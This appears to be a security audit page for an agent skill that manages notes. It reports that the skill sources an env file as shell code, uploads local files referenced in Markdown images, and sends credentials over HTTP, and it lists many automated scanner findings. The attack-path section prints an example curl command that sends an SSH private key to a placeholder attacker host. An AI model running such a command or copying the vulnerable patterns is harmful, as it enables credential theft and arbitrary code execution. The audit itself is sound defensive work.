Back to skill

Security audit

锤子便签 API

Security checks for vulnerabilities and agentic risk

Overview

The skill matches its stated notes-management purpose, but it needs Review because its export path can run commands from an env file, upload broadly referenced local files, and send reusable credentials over plain HTTP.

Install only if you trust the skill publisher, the Notes server, and every Markdown/env file you process. Prefer HTTPS for any non-local server, avoid untrusted .env files with export_note.sh, and review Markdown image references before export because they can cause local files to be uploaded.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/export_note.sh:32
Finding

Arbitrary Shell Command Execution Through Environment File Loading

Content
View full analysis
&2 exit 1 fi set -a # shellcheck disable=SC1090 source "$env_file" set +a } ``` ### Technical Analysis The `--env-file` option is documented as accepting a configuration file, but `load_env_file` evaluates the supplied file with the Bash `source` command. An environment file is therefore treated as executable shell code rather than parsed as data. A sourced file can contain command substitutions, shell functions, redirections, pipelines, or arbitrary commands. These commands execute with the same operating-system identity and privileges as the Agent invoking `export_note.sh`. This behavior is unnecessary for the declared functionality. The export workflow only needs to read `NOTES_API_BASE_URL`; it does not require general shell evaluation. ### Attack Path 1. An attacker creates or modifies a file represented as a Notes API environment configuration. 2. The file contains an apparently valid assignment and an embedded command, for example: ```bash NOTES_API_BASE_URL=https://notes.example.com curl -X POST --data-binary @/home/user/.ssh/id_rsa https://attacker.example/upload ``` 3. The user or Agent runs: ```bash scripts/export_note.sh --env-file /path/to/untrusted.env \ --markdown "Example" \ --output /tmp/note.png ``` 4. `load_env_file` invokes `source "$env_file"`. 5. Bash executes the embedded command before the note export proceeds. ### Impact Assessment Successful exploitation provides arbitrary command execution under the invoking user's account. Depending on that account's permissions, an attacker could: - Read and exfiltrate credentials, API tokens, SSH keys, and private documents. - Modify or de ...[truncated 383 chars]
Remediation
View remediation

T05 · Unauthorized Access and Privilege Escalation

Error
Location
scripts/export_note.sh:132
Finding

Unrestricted Local File Disclosure Through Markdown Image Uploads

Content
View full analysis
str: trimmed = reference.strip() if trimmed.lower().startswith("file://"): parsed = urllib.parse.urlparse(trimmed) return os.path.abspath(urllib.request.url2pathname(parsed.path)) expanded = os.path.expanduser(trimmed) if os.path.isabs(expanded): return expanded return os.path.abspath(os.path.join(markdown_dir, expanded)) def upload_image(file_path: str) -> str: filename = os.path.basename(file_path) mime_type = mimetypes.guess_type(filename)[0] or "application/octet-stream" with open(file_path, "rb") as handle: payload = handle.read() boundary = f"----notes-export-{uuid.uuid4().hex}" body = b"".join( [ f"--{boundary}\r\n".encode("utf-8"), f'Content-Disposition: form-data; name="image"; filename="{filename}"\r\n'.encode("utf-8"), f"Content-Type: {mime_type}\r\n\r\n".encode("utf-8"), payload, f"\r\n--{boundary}--\r\n".encode("utf-8"), ] ) request = urllib.request.Request(image_import_endpoint, data=body, method="POST") request.add_header("Accept", "application/json") request.add_header("Content-Type", f"multipart/form-data; boundary={boundary}") try: with urllib.request.urlopen(request) as response: charset = response.headers.get_content_charset() or "utf-8" payload_text = response.read().decode(charset) except urllib.error.HTTPError as error: payload_text = error.read().decode("utf-8", errors="replace") try: data = json.loads(payload_text) except json.JSONDecodeError: data = None message = data.get("error") if isinstance(data, dict) else Non ...[truncated 4038 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/notes_api.mjs:152
Finding

Reusable Credentials Can Be Transmitted Over Plaintext HTTP

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Findings (36)

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 3)May include surrounding context.

md
---
name: notes-export-api
description: 通过用户名或邮箱与密码连接调用方明确配置的锤子便签服务,管理当前账号的云端工作区并导出内容。支持便签列表与全文查询、新增、更新 Markdown、软删除、回收站恢复、显式永久删除、文件夹分类、星标、置顶、生成可粘贴到微信公众号的富文本 HTML,以及把 Markdown 或本地 .md 文件导出为带图的锤子便签长图 PNG;导出支持 default 暖白纸感、smartisan-dark 暗黑主题和自定义底部文案。用户提到锤子便签、用账号密码增删改查便签、便签查询或自动维护、分类、收藏、置顶、公众号复制格式、Markdown 转便签图片或批量长图导出时使用。服务地址没有默认值,调用方必须通过 .env 或命令行明确提供。
---

# 锤子便签 API

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/export_note.sh (reported line 78)May include surrounding context.

sh
---
name: notes-export-api
description: 通过用户名或邮箱与密码连接调用方明确配置的锤子便签服务,管理当前账号的云端工作区并导出内容。支持便签列表与全文查询、新增、更新 Markdown、软删除、回收站恢复、显式永久删除、文件夹分类、星标、置顶、生成可粘贴到微信公众号的富文本 HTML,以及把 Markdown 或本地 .md 文件导出为带图的锤子便签长图 PNG;导出支持 default 暖白纸感、smartisan-dark 暗黑主题和自定义底部文案。用户提到锤子便签、用账号密码增删改查便签、便签查询或自动维护、分类、收藏、置顶、公众号复制格式、Markdown 转便签图片或批量长图导出时使用。服务地址没有默认值,调用方必须通过 .env 或命令行明确提供。
---

# 锤子便签 API

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/export_note.sh (reported line 321)May include surrounding context.

sh
---
name: notes-export-api
description: 通过用户名或邮箱与密码连接调用方明确配置的锤子便签服务,管理当前账号的云端工作区并导出内容。支持便签列表与全文查询、新增、更新 Markdown、软删除、回收站恢复、显式永久删除、文件夹分类、星标、置顶、生成可粘贴到微信公众号的富文本 HTML,以及把 Markdown 或本地 .md 文件导出为带图的锤子便签长图 PNG;导出支持 default 暖白纸感、smartisan-dark 暗黑主题和自定义底部文案。用户提到锤子便签、用账号密码增删改查便签、便签查询或自动维护、分类、收藏、置顶、公众号复制格式、Markdown 转便签图片或批量长图导出时使用。服务地址没有默认值,调用方必须通过 .env 或命令行明确提供。
---

# 锤子便签 API

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/notes_api.mjs (reported line 158)May include surrounding context.

js
---
name: notes-export-api
description: 通过用户名或邮箱与密码连接调用方明确配置的锤子便签服务,管理当前账号的云端工作区并导出内容。支持便签列表与全文查询、新增、更新 Markdown、软删除、回收站恢复、显式永久删除、文件夹分类、星标、置顶、生成可粘贴到微信公众号的富文本 HTML,以及把 Markdown 或本地 .md 文件导出为带图的锤子便签长图 PNG;导出支持 default 暖白纸感、smartisan-dark 暗黑主题和自定义底部文案。用户提到锤子便签、用账号密码增删改查便签、便签查询或自动维护、分类、收藏、置顶、公众号复制格式、Markdown 转便签图片或批量长图导出时使用。服务地址没有默认值,调用方必须通过 .env 或命令行明确提供。
---

# 锤子便签 API

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/notes_api.mjs (reported line 174)May include surrounding context.

js
---
name: notes-export-api
description: 通过用户名或邮箱与密码连接调用方明确配置的锤子便签服务,管理当前账号的云端工作区并导出内容。支持便签列表与全文查询、新增、更新 Markdown、软删除、回收站恢复、显式永久删除、文件夹分类、星标、置顶、生成可粘贴到微信公众号的富文本 HTML,以及把 Markdown 或本地 .md 文件导出为带图的锤子便签长图 PNG;导出支持 default 暖白纸感、smartisan-dark 暗黑主题和自定义底部文案。用户提到锤子便签、用账号密码增删改查便签、便签查询或自动维护、分类、收藏、置顶、公众号复制格式、Markdown 转便签图片或批量长图导出时使用。服务地址没有默认值,调用方必须通过 .env 或命令行明确提供。
---

# 锤子便签 API

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 33)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 43)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 60)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 83)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 85)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 87)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 89)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 92)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 96)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 98)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 100)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 104)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 106)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 108)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 112)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 116)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 120)May include surrounding context.

md
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/export_note.sh (reported line 314)May include surrounding context.

sh
required: true,
      })
    : {};
  const skillEnv = await readEnvFile(path.join(SKILL_DIR, ".env"));
  const getConfigValue = (key) =>
    firstNonEmpty(explicitEnv[key], process.env[key], skillEnv[key]);
  const configuredBaseUrl = firstNonEmpty(

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/export_note.sh (reported line 315)May include surrounding context.

sh
required: true,
      })
    : {};
  const skillEnv = await readEnvFile(path.join(SKILL_DIR, ".env"));
  const getConfigValue = (key) =>
    firstNonEmpty(explicitEnv[key], process.env[key], skillEnv[key]);
  const configuredBaseUrl = firstNonEmpty(

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/notes_api.mjs (reported line 148)May include surrounding context.

js
required: true,
      })
    : {};
  const skillEnv = await readEnvFile(path.join(SKILL_DIR, ".env"));
  const getConfigValue = (key) =>
    firstNonEmpty(explicitEnv[key], process.env[key], skillEnv[key]);
  const configuredBaseUrl = firstNonEmpty(

Static analysis

Detected: suspicious.env_credential_access

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
scripts/notes_api.mjs:150